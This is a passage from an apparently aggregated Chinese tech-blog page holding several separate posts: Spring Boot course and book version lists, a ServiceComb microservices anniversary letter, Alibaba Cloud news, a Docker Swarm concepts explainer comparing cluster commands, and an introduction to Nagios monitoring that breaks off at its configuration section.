Gradle 3.5 * Eclipse Neon.2 Release (4.6.2):本书示例采用Eclipse编写,但示例源码与具体的IDE无关,读者朋友可以自行选择适合自己的IDE,比如IntelliJ IDEA、NetBeans等。 * Spring Boot 1.5.2.RELEASE * Thymeleaf 3.0.3.RELEASE * Thymeleaf Layout Dialec 2.2.0 * MySQL Community Server 5.7.17 * MySQL Workbench 6.3.9 * Spring Data JPA 1.11.1.RELEASE * Hibernate 5.2.8.Final * MySQL Connector/J 6.0.5 * H2 Database 1.4.193 * Elasticsearch 2.4.4 * Spring Data Elasticsearch 2.1.3.RELEASE * JNA 4.3.0 * Tether 1.4.0 : * Bootstrap v4.0.0-alpha.6 : * jQuery 3.1.1 : * Font Awesome 4.7.0 : * NProgress 0.2.0 : * Thinker-md : * jQuery Tags Input 1.3.6 : * Bootstrap Chosen 1.0.3 : * toastr 2.1.1 : * Spring Security 4.2.2.RELEASE * Thymeleaf Spring Security 3.0.2.RELEASE * Apache Commons Lang 3.5 * Markdown parser for the JVM 0.16 * MongoDB 3.4.4 * Embedded MongoDB 2.0.0 当对讲师的代码熟悉了之后,同时,掌握了调错的能力之后,学员就可以根据自己的情况来调整版本了。 比如,将 Spring Boot 升级到 Spring Boot 2 、使用最新的 ES 版本等。 想学 Spring Boot 2 目前,上述课程是基于 Spring Boot 1.5.2 来讲解的,新版本的 Spring Boot 大致上也是差不多的。学员可以举一反三。 如果想直接学 Spring Boot 2 ,可以关注老师出版的另外一门书《Spring Boot 企业级应用开发实战》( https://book.douban.com/subject/30192752/ ),基于最新的 Spring Boot 2 来展开。可以理解为是上述课程的升级。对课程的版本进行了升级,同时补充了课程中无法展开的知识点的梳理。 该书所使用的版本如下: * JDK 8 * Gradle 4.0 * Eclipse Oxygen Release (4.7.0):本书示例采用 Eclipse 编写,但示例源码与具体的 IDE 无关,读者朋友可以自行选择适合自己的 IDE,比如 IntelliJ IDEA、NetBeans 等。 * Spring Boot 2.0.0.M2 * Spring 5.0.0.RC2 * Thymeleaf 3.0.6.RELEASE * Thymeleaf Layout Dialect 2.2.2 * MySQL Community Server 5.7.17 * MySQL Workbench 6.3.9 * Spring Data JPA 2.0.0.M4 * Hibernate 5.2.10.Final * MySQL Connector/J 6.0.5 * H2 Database 1.4.196 * Elasticsearch 5.5.0 * Spring Data Elasticsearch 3.0.0.M4 * Tether 1.4.0 : * Bootstrap v4.0.0-alpha.6 : * jQuery 3.1.1 : * Font Awesome 4.7.0 : * NProgress 0.2.0 : * Thinker-md : * jQuery Tags Input 1.3.6 : * Bootstrap Chosen 1.0.3 : * toastr 2.1.1 : * Spring Security 5.0.0.M2 * Thymeleaf Spring Security 3.0.2.RELEASE * Apache Commons Lang 3.6 * Markdown parser for the JVM 0.16 * MongoDB 3.4.6 * Spring Data Mongodb 2.0.0.M4 * Embedded MongoDB 2.0.0 * IK Analysis for Elasticsearch 5.5.0 看视频还是看书 从我个人来看,看视频、看书是两种非常不同的学习方式。视频更加生动且易于理解。而书则更加全面且方便回顾。 如何选择看视频还是看书来学习,取决于个人学习习惯。当然,学习是不嫌多的,如果有充足的时间不妨书和视频一起结合起来看。 老卫课程的优点就是,所有的视频课程,都是会有相关配套的书籍提供的,以利于学员知识点的回顾。视频、看书两不误,双管齐下,老卫更懂你。 以下是老卫的课程,以及对应的书籍: 视频课程 对应书籍 基于Spring Boot的博客系统实战 | 基于Spring Cloud的微服务实战 Spring Boot 企业级应用开发实战 | Spring Cloud 微服务架构开发实战
「深度学习福利」大神带你进阶工程师,立即查看>>> 2018年6月25日,开源界面盛会LC3上,华为继去年开源微服务方案ServiceComb后,又宣布将于7月份开源微服务领域服务网格ServiceMesh产品化技术Mesher。 ServiceComb社区凭借与华为云的源头关系,获得关于Mesher的第一手信息: 华为云是最早将Service Mesh产品化商用的企业之一,旨在将微服务中的应用问题和网络问题分离。 当前华为云AI和文思海辉楼宇设施管理服务等业务已经使用Mesher进行商用。 Mesher 还具备基础设施完全解耦,高性能,侵入式与非侵入式治理互通,可扩展三方SDK等特点。 Mesher 开源后,将会如何运作,进入哪个基金会,是否会进入ServiceComb,这些是当前业界最为关注的事情,ServiceComb目前能提供的信息也仅是这些。但是ServiceComb与开源后的Mesher一衣带水,不论Mesher是否进入ServiceComb,ServiceComb都将会竭尽所能帮助Mesher建立热衷和忠诚开源的品质,为开源社区营造好的土壤贡献力量。 对于关于ServiceComb对于Service Mesh和 Mesher的思考,在下面《 ServiceComb 社区在其开源一周年之际写给微服务开发者的一封信》 已经有了相关表述: 写在ServiceComb开源一周年之际 2018年6月25日,开源界盛会LC3(LinuxCon + ContainerCon + CloudOpen)在北京拉开帷幕,一年前,同样在LC3大会上,ServiceComb由华为云微服务引擎服务开源,ServiceComb和蜂巢Logo一起正式走入开源和微服务领域。 回望过去,ServiceComb于17年12月由华为云捐赠给了Apache软件基金会,成为国内第一个进入Apache孵化的微服务项目,累计贡献给Apache社区33万多行代码,发布1.0.0-m1和1.0.0-m2共6个孵化器软件版本,使用用户覆盖到了IoT、生物医药、金融、互联网、地产、AI等行业。 在这里,尊重、诚实、专注、透明决策、开放……,社区日渐活跃和健康,正稳步践行“Apache Way”。细细盘点过去一年,我们发现,ServiceComb正在一步一个脚印实现着社区伙伴们对于微服务的坚持——“通过微服务解决方案解放用户和开发者”。 ServiceComb 从哪里来 ServiceComb 源自华为云微服务引擎,主体代码由华为云捐赠,致力于帮助企业轻松构建云原生应用及传统企业业务快速微服务化,通过系列解决方案帮助用户快速开发微服务的同时实现对这些微服务应用的高效运维管理。华为云微服务引擎在华为内部系统商用了3年多时间,通过“吃自己的狗粮”的方式在保持电信行业高性能低时延能力的同时也历经了华为VMALL商城等电商场景的历练。 例 如 华为消费者云业务拥有数亿级用户访问量,业务对性能和时延等要求都非常高,曾尝试使用其他分布式框架实现,由于大部分业务是I/O密集型的,同步微服务调用模式导致CPU利用率低,性能也无法提升,硬件资源利用率低。 采用ServiceComb的Reactive全异步模式之后,QPS提升2倍+、时延降低45%,大量的硬件资源因此被节省,并异步模式同时解决了传统分布式框架经常遇到的雪崩效应,即某个微服务调用慢导致上游调用方被阻塞引起雪崩。可以说,在诞生伊始,ServiceComb就把高性能放在了首要位置进行设计开发。 |
---|
高性能的微服务框架 近几年的发展,微服务逐渐普及,并且开始应用于云上业务的核心组件。这就要求微服务框架能够在这种场景下,保证系统的资源占用、时延等性能指标能够满足业务系统的需求,而业务线程利用率低,超时时间配置过长导致成功率低和雪崩效应是微服务化中的最严峻问题,故当前开源领域的微服务或分布式框架都正在竞相尽全力支持异步内核中。 高性能 ServiceComb在设计之初就将Vertx作为异步调用的内核,实现同异步可选。当业务代码也使用异步模型时,业务逻辑直接在Eventloop中执行,整个业务流程中没有线程切换,所有的等待逻辑都是异步的,只要有任务,则不会让线程停下来,充分、有效地利用系统资源并提高系统吞吐能力。 全异步内核之异步调用 在电商、互联网、IoT等新兴领域中,长流程或复杂业务流程是很常见的,这就造成了一个消费端需要调用多个微服务进行业务逻辑编排或者多个微服务进行级联的场景。 另外一种的类型,业务本身对服务调用的时延不敏感,传统的手段是采取同步调用并设置大的超时时间来处理,这种实现方法将会导致在业务高峰期时延达到超时阀值时系统被轻易压垮。 ServiceComb的异步内核特点在以上场景的实际业务中都发挥了充分的价值,在电商和IoT两个实际业务中 TPS 提升约50%,CPU占用率下降50%,时延降低约30%,这将意味着ServiceComb帮助用户节约近一半的硬件资源,也有效防止了微服务领域最易面临的雪崩效应。 全异步内核之同步调用 在业务使用同步模型时(既存系统改造等场景),ServiceComb进行了多项优化以减少系统各组件的阻塞。 1 在微服务进程中,为传输层创建独立的Vertx实例。 2 为每个连接额外配备一个CAS消息队列,将所有消息保存到CAS队列中,减少入队竞争。通过原子变量判定,只有入队前CAS队列为空,才向Eventloop下发写任务,唤醒Eventloop线程。 3 允许通过配置,在服务提供者和消费者之间建立多条连接,充分利用硬件资源。 4 在服务提供者端,支持隔离仓技术,实现故障隔离。为不同的业务进分组,并配置不同的线程池,解决不同处理速度的业务逻辑在同一个线程池中造成的业务整体性能下降问题。支持在进程、接口、方法三个级别进行线程池配置。 在 第三方个人的评估报告 中,ServiceComb的同步服务调用在当前主流的微服务和分布式框架中性能排在前列。 一站式开箱即用微服务解决方案 PaaS先驱Heroku公司的CTO Adam Wiggins 为实现软件即服务提出微服务12要素,以从软件设计、开发到运维的整体端到端角度思考程序的架构演进。 一直严格遵循微服务原则 在ServiceComb前身华为云微服务引擎出现之前,公司也有部分业务和众多企业一样,尝试了各样云原生微服务化方案,时至今日,我们也依旧可以在网络上见到众多如“A+B+C实现微服务框架”的文章,也见到各类开源RPC框架正在紧锣密鼓支持微服务化中。 ServiceComb ,一站式的微服务解决方案,其前身华为微服务引擎的设计就已经严格遵循微服务原则,开源之后更是坚持力求在设计、开发、运维方面都给用户及开发者以最佳的体验,同样投入下获取更多的产出。 ServiceComb提供包括JAXRS、SpringMVC和透明RPC在内的多样化的编程风格。使得程序员在使用微服务框架时能够保持自己的习惯。 OpenAPI OpenAPI吸收了大量的跨语言经验,可在不同语言之间进行解析。ServiceComb围绕OpenAPI开源生态和Swagger工具,以服务化契约为中心构建,可通过编写代码或编写接口实现契约,契约先行支持自动生成代码,自动生成接口文档,自动生成测试桩代码和挡板程序等。ServiceComb同时支持REST协议和二进制私有Highway通信协议,且可通过修改配置文件和注解的方式轻松的切换,在构建业务系统时,可以根据需要和测试结果,进行灵活的选择。ServiceComb的治理结构也围绕服务化契约构建,基于ServiceComb及ServiceComb支持的工具,业务可在设计和开发阶段保持开发者习惯的前提下轻松实现微服务自治及松耦合。 ServiceComb内置 ServiceComb内置轻量级高性能边缘服务,支持Producer端治理,结合扩展路由能力和动态配置能力能轻松实现灰度发布、A/B测试等关键特性,在业务实测中,在同等资源使用下吞吐能力是业界常规方案的2.8倍。 ServiceComb内置覆盖了微服务下绝大多数场景的流量控制、容错熔断、限流降级、故障注入等治理和管控能力。内置支持包括RoundRobin、Random、WeightedResponseTime、SessionStickiness在内的丰富的负载均衡策略,与服务中心ServiceCenter配合,实时感知微服务实例的状态变化,灵敏调节负载。 APM APM在微服务领域用于帮助理解系统行为、用于分析性能问题。ServiceComb从Metrics、Tracing和Log三方面全面支持APM,内置的Metrics包含基本资源使用、调用次数、时延和TPS等关键指标,支持HttpCode、Consumer/Producer等丰富的维度用于数据二次聚合;Tracing无缝对接主流的Zipkin和新兴的SkyWalking;微服务运行的关键信息也将无需用户配置自动写入日志。动态配置、优雅停机、事件通知等机制也被ServiceComb优雅内置。 一站式开箱即用 如果把开发一个微服务应用比作买房的话,传统的微服务或分布式框架提供的是“毛坯房”,从收房到入住还要经历辛苦的装修过程。而ServiceComb提供的则是“精装修房”,不求覆盖最全,只求配合最好,体验最舒适,让用户或开发者能够“拎包入住”。 例如创建一个CRM应用,真实业务下会设计拆分出十几个甚至更多的微服务,为了让这些微服务能够很好地在一起工作,通常需要用户逐个学习对应所需组件、添加依赖、分别进行配置,选择哪些组件?怎么用?如何添加依赖?裁剪时依赖对应哪些功能?版本之间是什么关系?版本冲突如何解决?诸如此类一系列的问题都会让开发者特别是初学者头痛不已。 相比而言,ServiceComb java-chassis-dependencies集中管理了所有必须的依赖,start.servicecomb.io生成出来的项目既包含示例代码,也包含必要配置的以及微服务治理所需的配置,批量生成所有的微服务后,用户只需要专注于填充业务代码。完成开发后,部署ServiceCenter,启动微服务,一个良好的CRM系统就运转起来了,之后只需要专注于运维,后期也可通过动态配置,随时修改配置值调整治理能力。在整个过程中,ServiceComb坚持“约定大于配置、集中配置”,一切化繁为简,拒绝凌乱。 使用ServiceComb可以在30分钟内开发出一个雏形的CRM应用。 ServiceComb一站式开箱即用,严格遵守微服务原则,伙伴用户软通动力使用ServiceComb从设计维度解决业务交互复杂引入的代码重复度高和大型应用部署困难等阵痛,新型创业公司奇蛙无人机更是能够一天之内从传统分布式框架迁移到ServiceComb。 ServiecComb 并没有为了减轻用户和开发者负担而封锁自己的设计,那样将无异于让用户住进了牢房,虽然衣来伸手饭来张口却没有了自由,而是为了让业务能够定制化自己的特别需要、方案长足发展和吸收如SpringCloud等优秀组件的精华,ServiceComb坚持了开放性设计 ,消费者和生产者编程模型可扩展,通过治理链可扩展治理能力,通信协议可扩展,并可开放对接到其他的注册服务、配置服务等三方组件,可既轻量级运行于Netty Http之上,也可作为一个Servlet运行于Web容器里。 协同开源力量攻克微服务难题 在微服务架构下,应用通常是由一组松耦合的相互协调的服务所组成,每个服务独立使用自己的数据库。在缺少一个统一的数据库来提供事务一致性的前提下,如何协调各服务之间的分布式事务,是微服务化的过程中所面临的一大难题。 ServiceComb 提供了Saga子项目,在理论指导下,正协同社区力量在不断研究好的方法和实践来解决这个难题。 Saga Saga来源于数据库处理长时事务一致性处理论文, 一个长时事务是又多个本地务组成,每个本地事务提供了执行以及执行失败补偿两个方法。 Saga通过协调系列本地事务执行(事务执行失败会调用相关补偿方法来恢复原有状态),来证长时事务执行的一致性。与现在主流的TCC模式相比,ServiceComb saga对业务逻辑侵入小,且性能更高。在过去的一年中,ServiceComb Saga完成了从“集中式”到“分布式结合集中式的”演进,支持了通过注解标注Saga对应子事务信息。 未来,ServiceComb saga将在多租户服务支持、消息队列传递事件信息等方面继续提升,朝着“更好用、更高效”的方向努力。 ServiceComb 要到哪里去? ServiceComb已开源一周年,越来越多的中国企业也陆续开源了其自研的分布式或微服务框架。 ServiceComb 试图努力将全球最大的开源社区的精髓Apache Way带入了中国企业的微服务领域,给开源开发者和企业用户提供了更加亲和的土壤。 未来已来 2018是服务网格元年,Service Mesh的出现,与ServiceComb致力于解放用户和开发者的愿景相匹配, ServiceComb一直在思考如何将Service Mesh理念更好地运用到微服务解决方案之中,当前已经有了一些雏形思路。喜讯是华为云作为最早将Service Mesh产品化商用的企业之一,计划于7月份开源名称为Mesher的的高性能服务网格部件,旨在将微服务中的应用问题和网络问题分离,继续为微服务开源的发展贡献自己的力量。 ServiceComb 未来会继续以完全开放的态度在服务网格技术维度和相应主流社区保持兼容,吸纳侵入式和非侵入式方案,作为完整的微服务解决方案在开源爱好者们和微服务从业者们的支持下散发光和热,也期待社区志愿者们和ServiceComb一道贡献智慧。 致谢 过去的一年,众多开源爱好者和微服务从业者们对ServiceComb给予了大力关注和支持,截至今日,大量开发者和用户向社区项目提交了代码、贡献了智慧、力量。以下致谢: Roman Shaposhnik 等13名正式committer,Feng Zheng 等25名正式contributor,其他未在社区网站具名的支持者,包括但不限于: Apache社区的支持; 已经向社区项目提交代码的大量开发者; 社区运营支持人员; SpringCloud、Skywalking等开源微服务领域项目的支持协同; 开源社等媒体和社区的支持等; 华为消费者云、云 EI、云安全、云核,软通动力,文思海辉,互灵物联,奇蛙无人机,梅斯医药,杭岭科技,高迈致远等一批伙伴用户的支持。 开源的力量是无穷的,ServiceComb的点点滴滴前进来自方方面面支持,感谢开源志愿者们的一如既往,才有了ServiceComb社区的踏实前进。 6 月27日11:00~17:00直接前往国家会议中心211厅可直接参加LC3微服务Workshop, 不用门票,不用门票,不用门票!!! 我在外地,没办法现场参加: 没关系,我们提供了 视频直播 ,直播地址: http://www.itdks.com/eventlist/detail/2294 你将得到 两位资深Apache Member对话的机会 华为云微服务引擎原作者的深入解读 用户CTO 关于高性能高可靠的实践分享 DDD 专家现场布道 炙手可热的ServiceMesh技术剧透 参考资料: [1] 如何设计一个优质的微服务框架 刘宝 http://servicecomb.incubator.apache.org/cn/docs/open-design/ [2] Saga 分布式事务解决方案与实践 姜宁 http://servicecomb.incubator.apache.org/cn/docs/distributed-transactions-saga-implementation/ [3] RPC Benchmark Round 3 鲁小憨 https://www.jianshu.com/p/caf51f5cfbaa [4] ServiceComb 开发团队 http://servicecomb.incubator.apache.org/cn/developers/team/ 「深度学习福利」大神带你进阶工程师,立即查看>>> 摘要: 为了深入推进校企联合培养,激发学生参与云计算的兴趣,未来可以更好地投身于云计算产业,阿里云联合多个高校在5月开展了《云计算的前世今生——从阿里看云计算》主题系列讲座,潜移默化的培养更加适应当前云计算产业需求,深刻理解云计算的优秀人才。 随着云计算产品的市场规模的快速增长、云计算企业核心技术的投入、新市场、新应用、新业务的不断出现,适应行业发展需要的高层次人才需求量与日俱增。为了深入推进校企联合培养,激发学生参与云计算的兴趣,未来可以更好地投身于云计算产业,阿里云联合多个高校在5月开展了《云计算的前世今生——从阿里看云计算》主题系列讲座,潜移默化的培养更加适应当前云计算产业需求,深刻理解云计算的优秀人才。 5月14日,阿里云联合北京城市学院启动了第一场报告讲座。报告主要从云计算的发展、技术和架构三个方面为同学们讲解云计算的发展历程及市场规模,并以存储、数据库、容器等产品为例进行云计算核心技术讲解,使得同学对云计算技术有了更加全面的认知。 北京城市学院讲座 为了使同学能够更清晰的理解云计算的应用发展,阿里云专家将双十一运维、ET城市大脑、IOT、奥运会IT系统等大型案例搬到课堂,为同学深入浅出的介绍了阿里云在各个领域的应用和为社会发展带来的积极影响和重大意义。 最后,报告还介绍了阿里云的云栖大会、飞天技术汇等技术活动,为各位同学后续了解云计算产品、技术和发展提供了有效途径。 福州职业技术学院讲座 贵阳理工学院讲座 在第一场讲座的顺利进行下,5月24日至25日,阿里云分别联合福州职业技术学院、贵阳理工学院继续开展讲座。阿里云采取科教结合、校企合作协同育人模式,与国内高校联合尝试创新人才的培养方式,也是培养云计算拔尖创新人才战略计划的重要组成部分。 原文链接 本文为云栖社区原创内容,未经允许不得转载。 「深度学习福利」大神带你进阶工程师,立即查看>>> 摘要: 云栖大会·上海峰会,6月7日,阿里云宣布与国内规模最大的汽车企业上汽集团合作,上线业内首个混合云汽车研发仿真计算服务平台——上汽仿真计算云SSCC(SAIC Simulation Computing Cloud)。 云栖大会·上海峰会,6月7日,阿里云宣布与国内规模最大的汽车企业上汽集团合作,上线业内首个混合云汽车研发仿真计算服务平台——上汽仿真计算云SSCC(SAIC Simulation Computing Cloud)。从2014年开始合作,2016年合作发布全球首款量产互联网汽车荣威RX5至今,上汽集团旗下自主品牌包括荣威、名爵、大通等新车全线搭载基于AliOS操作系统的斑马智行,装车量已突破60万辆。未来双方也将继续深入合作,从端到云全面拓展合作。 上汽仿真计算云 基于ECS神龙SCC超级计算集群+E-HPC弹性高性能计算产品,让客户在阿里云端打造了一个媲美物理机集群性能,同时兼具与HPC业务部署灵活性和弹性的高性能云端计算服务平台,助力智能制造行业客户上云。
原文链接 本文为云栖社区原创内容,未经允许不得转载。 「深度学习福利」大神带你进阶工程师,立即查看>>> 概述 在我的 《Docker Swarm集群初探》 一文中,我们实际体验了Docker Swarm容器集群技术的魅力,与 《Kubernetes实践录》 一文中提到的Kubernetes集群技术相比,Docker Swarm没有Kubernetes显得那么厚重,因此可以认为是更加轻量级的容器集群技术,这也就意味着上手更加方便快捷,使用起来也要省事很多。作为Docker集群技术三(或“四”)架马车之一的Docker Swarm,它从一开始便是Docker官方的“亲儿子”,发展到现在也经历了很多阶段和迭代。作者在学习的过程中也了解了一点其发展历史,发现有几个概念还是挺容易混淆的,因此撰写成文,是梳理,也是总结。 注: 本文首发于 My 公众号 CodeSheep ,可 长按 或 扫描 下面的 小心心 来订阅 ↓ ↓ ↓ 初出茅庐之:经典Swarm 早在2014年底,Docker公司就设计了容器集群的方案组合: Machine + Swarm + Compose 。其中Machine主要用于快速创建Docker运行环境,其支持在创建出来的节点上自动部署Swarm,此时的Swarm我们称为 “经典Swarm” ,它是一款整合跨节点网络的集群式容器服务,其利用Docker守护进程的API,将多节点的计算资源进行汇总,并提供兼容Docker的运行API,使用者只需要在执行Docker命令工具时,用--host参数将目标设置为Swarm服务的IP和端口,即可操作整个容器集群。 当然此时的Swarm局限性较大,比如: 没有副本和负载均衡的概念,这导致服务无法高可用 当然也更不存在什么服务网络管理和跨节点数据存储这些东西 没有服务模型:集群中服务间关系和启动顺序编排也很复杂 于是就有了下面的SwarmKit的诞生。 发展壮大之:SwarmKit 在2016年2月,Docker公司开始了一个名叫 SwarmKit 的项目。而恰在Docker 1.12 RC之前的一段时间,Docker 发布了 Swarmkit,这是一个独立的、开源的容器编排项目。SwarmKit不同于一开始的经典Swarm,它从一开始就重新设计了一套独立的API和模型体系,并且采用独立的客户端命令行工具: swarmctl 和上面的经典Swarm模型相比,它加入了如下特性: 重新设计的一套独立的API和模型体系 使用了自己的CLI( swarmd 命令负责管理, swarmctl 命令用于控制) 节点管理、服务模型更加自然,提供编排和调度服务 将过去Swarm依赖的外部集群一致性存储组件Etcd的核心部分内置化 然而此时的SwarmKit并没有提供诸如服务发现、负载均衡和路由等功能。尽管如此,SwarmKit其实已经是我们今天广泛使用的Docker Swarm集群技术的基石。 厚积薄发之:Swarm Mode Swarm Mode则更进一步,它在Docker 1.12版本开始为大家所周知,一个 docker swarm 命令 红遍大江南北,这个所谓的Swarm Mode其实就是我们今天所广泛使用的Docker Swarm集群技术。 然而Swarm Mode并不是一个全新的东西,也并不是一个全新的模式,而是站在SwarmKit的巨人肩膀上发展起来的,是Docker中的一组与集群相关功能的统称而已。Docker将SwarmKit的核心模块内嵌于Docker的后台服务之中,通过不同的命令允许使用者同时以“本节点”和“本集群”这两种视角来操作整个集群,增加了集群的管理、节点的管理、服务的管理和编排等等一系列高级特性,就像在我的 《Docker Swarm集群初探》 一文中体验的那样。 因此总结一下Swarm Mode就是: 基于Swarmkit编写 支持服务模型以及服务发现、路由和负载均衡等新功能 使用Docker原生态的CLI命令 集成到了Docker engine中(强大的 docker swarm 命令) 对比总结 如果用一张图来表示 Docker、经典Swarm、SwarmKit、Swarm Mode 四个概念之间的关系,则大致可以如下图所示: 正如图中所示,SwarmKit 和 Swarm Mode 重叠的部分表示的是相应的项目之间存在代码层面的互相引用或组件形式的依赖,其实 Swarm Mode 所创建的集群本质上并无异于 SwarmKit 集群。 更细致一点,我们从SwarmKit和Swarm Mode二者在一些常用命令操作上的比较来看看二者的区别和联系: 1. 创建集群 SwarmKit方式: swarmd SwarmMode方式: docker swarm init 2. 往集群中添加节点 SwarmKit方式: swarmd --hostname worknode --join-addr [IP:端口] --join-token [Token] SwarmMode方式: docker swarm join --token [token] [IP:端口] 3. 查看集群节点信息 SwarmKit方式: swarmctl node ls SwarmMode方式: docker node ls 4. 创建服务 SwarmKit方式: swarmctl service create --name [服务名] --image [镜像名] SwarmMode方式: docker service create --name [服务名] [镜像名] 5. 服务扩容 SwarmKit方式: swarmctl service update [服务名] --replicas [副本数目] SwarmMode方式: docker service scale [服务名]=[副本数目] 6. 服务(镜像)升级 SwarmKit方式: swarmctl service update [服务名] --image [镜像名] SwarmMode方式: docker service update [服务名] --image [镜像名] 从命令行操作来看,Swarm Mode其实非常类似于SwarmKit,然而前者更加靠近 Docker 原生态圈的命令,因此更加人性化。 后记 作者更多的原创文章在此,欢迎观赏 My Personal Blog 作者更多的SpringBt实践文章在此: Spring Boot应用监控实战 SpringBoot应用部署于外置Tomcat容器 ElasticSearch搜索引擎在SpringBt中的实践 初探Kotlin+SpringBoot联合编程 Spring Boot日志框架实践 SpringBoot优雅编码之:Lombok加持 如果有兴趣,也可以抽点时间看看作者一些关于容器化、微服务化方面的文章: 利用K8S技术栈打造个人私有云 连载文章 从一份配置清单详解Nginx服务器配置 Docker容器可视化监控中心搭建 利用ELK搭建Docker容器化应用日志中心 RPC框架实践之:Apache Thrift RPC框架实践之:Google gRPC 微服务调用链追踪中心搭建 Docker容器跨主机通信 Docker Swarm集群初探 高效编写Dockerfile的几条准则 作者更多 务实、能看懂、可复现的 原创文章尽在公众号 CodeSheep ,欢迎订阅 ⬇️⬇️⬇️
「深度学习福利」大神带你进阶工程师,立即查看>>> Nagios简介: Nagios是插件式的结构,它本身没有任何监控功能,所有的监控都是通过插件进行的,因此其是高度模块化和富于弹性的。Nagios监控的对象可分为两类:主机和服务。主机通常指的是物理主机,如服务器、路由器、工作站和打印机等,这里的主机也可以是虚拟设备,如xen虚拟出的Linux系统;而服务通常指某个特定的功能,如提供http服务的httpd进程等。而为了管理上的方便,主机和服务还可以分别被规划为主机组和服务组等。 Nagios 是一款免费的开源IT基础设施监控系统,其功能强大,灵活性强,能有效监控 Windows 、Linux、VMware 和 Unix 主机状态,交换机、路由器等网络设备的网络设置等。一旦主机或服务状态出现异常时,会发出邮件或短信报警第一时间通知 IT 运维人员,在状态恢复后发出正常的邮件或短信通知。 Nagios和Cacti监控的项目一致,可以监控服务器CPU、内存、硬盘、网络流量等等,区别是Nagios主要基于Nagios插件监控服务器主机状态监控,及时发送报警信息,而Cacti是基于rrdtool绘图通过snmp抓取数据,更偏向网络流量图形展示; Nagios不监控任何具体数值指标(如操作系统上的进程个数),它仅用四种抽象属性对被监控对象的状态进行描述:OK、WARNING, CRITICAL和UNKNOWN。于是,管理员只需要对某种被监控对象的WARNING和CRITICAL状态的阈值进行关注和定义即可。Nagios通过将WARTING和CRTICAL的阈值传递给插件,并由插件负责某具体对象的监控及结果分析,其输出信息为状态信息(OK,WARNING,CRITICAL或UNKOWN)以及一些附加的详细说明信息。 监控网络并排除网络故障的工具:nagios、Ntop、OpenVAS、OCS、OSSIM等开源监控工具。 可以实现对网络上的服务器进行全面的监控,包括服务(apache、mysql、ntp、ftp、disk、qmail和http等)的状态,服务器的状态等。 Nagios: 监控 Windows、Linux和Unix的 主机状态和服务、 交换机路由器等网络设置,打印机等。在系统或服务状态异常时发出邮件或短信报警第一时间通知运维人员,在状态恢复后发出正常的邮件或短信通知。 Nagios适用于IT基础设施的监控系统,其功能强大,灵活性强,能有效监控各种操作系统的主机、交换路由设备等;Zabbix提供分布式系统监视以及网络监视功能,用于监控网络上的服务器,服务以及其他网络设备状态的网络管理系统。 Nagios 是一款免费的开源IT基础设施监控系统,其功能强大,灵活性强,能有效监控 Windows 、Linux、VMware 和 Unix 主机状态,交换机、路由器等网络设备的网络设置等。一旦主机或服务状态出现异常时,会发出邮件或短信报警第一时间通知 IT 运维人员,在状态恢复后发出正常的邮件或短信通知。 优缺点分析: 优点是配置灵活、监控项目很多、自动日志滚动、支持冗余方式主机监控、报警设置多样性。缺点是事件控制台功能较弱、无法查看历史数据、插件易用性不好。 Nagios适用于IT基础设施的监控系统 ,其功能强大,灵活性强,能有效监控各种操作系统的主机、交换路由设备等; 特性 由上述说明可以,Nagios是极富弹性的,其监控功能完全可以按照管理员的期望进行。此外,它外提供了对问题的自动响应能力和一个功能强大的通知系统。所有这些功能的实现是基于一个结构明晰的对象定义系统和少数几个对象类型实现的。 1)命令(Commands) “命令”用于定义Nagios如何执行某特定的监控工作。它是基于某特定的Nagios插件定义出的一个抽象层,通常包含一组要执行的操作。 2)时段(Time periods) “时段”用于定义某“操作”可以执行或不能执行的日期和时间跨度,如工作日内的每天8:00-18:00等; 3)联系人和联系人组(Contacts and contact groups) “联系人”用于定义某监控事件的通知对象、要通知的信息以及这些接收通知者何时及如何接收通知;一个或多个联系人可以定义为联系人组,而一个联系人也可以属于多个组; 4)主机和主机组(host and host groups) “主机”通常指某物理主机,其包括此主机相关的通知信息的接收者(即联系人)、如何及何时进行监控的定义。主机也可以分组,即主机组(host groups),一个主机可同时属于多个组; 5)服务(Services) “服务”通常指某主机上可被监控的特定的功能或资源,其包括此服务相关的通知信息的接收者、如何及何时进行监控等。服务也可以分组,即服务组(Service groups),一个服务可同时属于多个服务组; 相关概念 1、 依赖关系 Nagios的强大功能还表现在其成熟的依赖关系系统上。比如,某路由设备故障必然会导致关联在其上的其它主机无法被正常访问,如果不能定义这些设备间的依赖关系,那么监控系统上必然会出现大量的设备故障信息。而Nagios则通过依赖关系来描述网络设备的拓扑结构,并能够实现在某设备故障时不再对依赖于此设备的其它设备进行检测,从而避免了无谓的故障信息,方便管理员及时定位并排除故障。此外,Nagios的依赖关系还可以在服务级别上实现,如果某服务依赖于其它服务时,也能实现类似主机依赖关系的功能。 2 宏 Nagios还能够使用宏,并且宏的定义在整个Nagios系统中具有一致性。宏是能够用于对象定义中的变量,其值通常依赖于上下文。在“命令”中定义的宏,相对于主机、服务或其它许多参数来说,其值会随之不同。比如,某命令可以根据向其传递的IP地址的不同来监控不同的主机。 3.3 计划中宕机 Nagios还提供了调度性计划中的宕机机制,管理员可以周期性的设定某主机或服务为计划中的不可用状态。这种功能可以阻止Nagios在调度宕机时段通知任何信息。当然,这也可以让Nagios自动通知管理员该进行主机或服务维护了。 4、 软状态和硬状态(Soft and Hard States) 如上所述,Nagios的主要工作是检测主机或服务的状态,并将其存储下来。某一时刻,主机或服务状态仅可以是四种可用状态之一,因此,其状态能够正确反映主机或服务的实际状况就显得特别关键。为了避免某偶然的临时性或随机性问题,Nagios引入了软状态和硬状态。在实际的检测中,Nagios一旦发现某主机或服务的状态为UNKOWN或不同于上一次检测时的状态,其将会对此主机或服务进行多次测试以确保此状态的变动是非偶然性的。具体共要做出几次测试是可以配置的,在这个指定次数的测试时段内,Nagios假设此变化后的状态为软件状态。一旦测试完成后状态仍然为新变的状态时,此状态就成了硬状态。 相关配置及参数详解 5.1 Nagios的主配置文件 Nagios的主配置文件为nagios.cfg,其语法非常简洁,通常#开头的行为注释行,而参数的设置格式为 =;其中,有些参数是可以重复出现的。其中常用的参数说明如下: log_file: 设定Nagios的日志文件; cfg_file: Nagios对象定义的相关文件,此参数可重复使用多次以指定多个文件; cfg_dir: 设定Nagios对象定义的相关文件所在的目录,此目录中的所有文件都会被作为对象定义的文件;此参数可重复使用多次以指定多个目录; resource_file: 设定Nagios附加的宏定义的相关文件; status_file: 设定Nagios存储所有主机和服务当前状态信息的文件; status_update_interval: 设定status_file指定的文件中状态信息的更新频率; service_check_timeout: 设定服务检测的超时时间,默认为60秒; host_check_timeout: 设定主机检测的超时时间,默认为30秒; notification_timeout: 设定通知信息发送尝试的超时时间,默认为30秒; 5.2 resource_file和宏定义 